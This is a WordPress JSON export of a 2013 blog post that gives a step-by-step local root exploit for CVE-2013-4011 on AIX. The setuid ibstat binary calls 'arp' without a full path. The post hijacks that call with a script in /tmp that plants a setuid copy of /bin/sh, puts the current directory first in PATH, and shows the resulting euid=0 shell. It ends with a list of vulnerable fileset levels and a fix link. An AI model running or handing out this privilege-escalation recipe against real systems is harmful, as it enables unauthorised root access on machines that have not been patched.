{"id":37,"date":"2013-11-11T22:28:11","date_gmt":"2013-11-11T20:28:11","guid":{"rendered":"http:\/\/remchp.com\/blog\/?p=37"},"modified":"2013-11-11T23:19:36","modified_gmt":"2013-11-11T21:19:36","slug":"exploit-cve-2013-4011","status":"publish","type":"post","link":"https:\/\/futex.re\/blog\/?p=37","title":{"rendered":"Exploit CVE-2013-4011"},"content":{"rendered":"

In July 2013 we saw a new vulnerabilite on AIX, it’s possible to allow local users to gain privileges with a very simple way.<\/p>\n

The fail is due to a programming error in ibstat command
\n
\n(futex@aixbox) $ which ibstat
\n\/usr\/bin\/ibstat
\n(futex@aixbox) $ ls -l \/usr\/bin\/ibstat
\nlrwxrwxrwx\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 bin\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 16 01 oct 02:18 \/usr\/bin\/ibstat -> \/usr\/sbin\/ibstat
\n(futex@aixbox) $ ls -l \/usr\/sbin\/ibstat
\n-r-sr-xr-x\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 bin\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 47388 12 nov 2012\u00c2\u00a0 \/usr\/sbin\/ibstat
\n<\/code><\/p>\n

After hunts, the real binary is \/usr\/sbin\/ibstat, and is setuid bit!<\/p>\n

With a simple string command, we can see which command the binary use
\n
\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep ifconfig
\nifconfig %s
\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep arp
\narp -t ib -a
\n(futex@aixbox) $ strings \/usr\/sbin\/ibstat | grep lsattr
\nlsattr -El %s
\n<\/code><\/p>\n

As we can see, all command are not call with her full path! So, we can exploit it easilly.<\/p>\n

We place ourselves in the tmp directory
\n
\n(futex@aixbox) $ cd \/tmp
\n<\/code><\/p>\n

And we create a script with the name of one command use in ibstat binary, his goal is just copy the shell binary in \/tmp and set setuit bit
\n
\n(futex@aixbox) $ vi arp<\/p>\n

#!\/bin\/sh<\/p>\n

cp \/bin\/sh \/tmp\/root
\nchown root \/tmp\/root
\nchmod 4755 \/tmp\/root
\n<\/code><\/p>\n

Don’t forget to set executable bit on the script
\n
\n(futex@aixbox) $ chmod 755 .\/arp
\n<\/code><\/p>\n

After, we change the PATH environnement variable:
\n
\n(futex@aixbox) $ PATH=.:${PATH}
\n(futex@aixbox) $ which arp
\n.\/arp
\n<\/code><\/p>\n

And launch ibstat command
\n
\n(futex@aixbox) $ ibstat -a -i en0<\/code><\/p>\n

ERROR: “\/dev\/en0”: open failed rc=2, errno=2
\nCheck device state of “icm” and “en0”.<\/p>\n

===============================================================================
\nIB INTERFACE ARP TABLE
\n===============================================================================<\/p>\n

\/tmp\/arp script is launch by ibstat command, this command have root owner and setuid bit, so it execute witch root priviliges, and lauch our script witch root privilege too \ud83d\ude42<\/p>\n


\n(futex@aixbox) $ ls -l \/tmp\/root
\n-rwsr-xr-x\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 1 root\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 sys\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 292606 14 oct 10:48 \/tmp\/root
\n(futex@aixbox) $ id
\nuid=1001(futex) gid=3(sys)
\n(futex@aixbox) $ .\/root
\n(futex@aixbox) $ id
\nuid=1001(futex) gid=3(sys) euid=0(root)
\n<\/code><\/p>\n

ibstat command is in devices.common.IBM.ib.rte fileset<\/p>\n

The following fileset levels are vulnerable:<\/p>\n


\nAIX Fileset Lower Level Upper Level
\n-------------------------------------------------------
\ndevices.common.IBM.ib.rte 6.1.6.0 6.1.6.21
\ndevices.common.IBM.ib.rte 6.1.7.0 6.1.7.18
\ndevices.common.IBM.ib.rte 6.1.8.0 6.1.8.15
\ndevices.common.IBM.ib.rte 7.1.0.0 7.1.0.21
\ndevices.common.IBM.ib.rte 7.1.1.0 7.1.1.18
\ndevices.common.IBM.ib.rte 7.1.2.0 7.1.2.15
\n<\/code><\/p>\n

You must upgrade your system, or install thie fix<\/p>\n


\nftp:\/\/aix.software.ibm.com\/aix\/efixes\/security\/infiniband_fix.tar
\n<\/code><\/p>\n

Rock it!<\/p>\n","protected":false},"excerpt":{"rendered":"

In July 2013 we saw a new vulnerabilite on AIX, it’s possible to allow local users to gain privileges with a very simple way. The fail is due to a programming error in ibstat command (futex@aixbox) $ which ibstat \/usr\/bin\/ibstat … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37"}],"collection":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37"}],"version-history":[{"count":10,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37\/revisions"}],"predecessor-version":[{"id":49,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=\/wp\/v2\/posts\/37\/revisions\/49"}],"wp:attachment":[{"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/futex.re\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}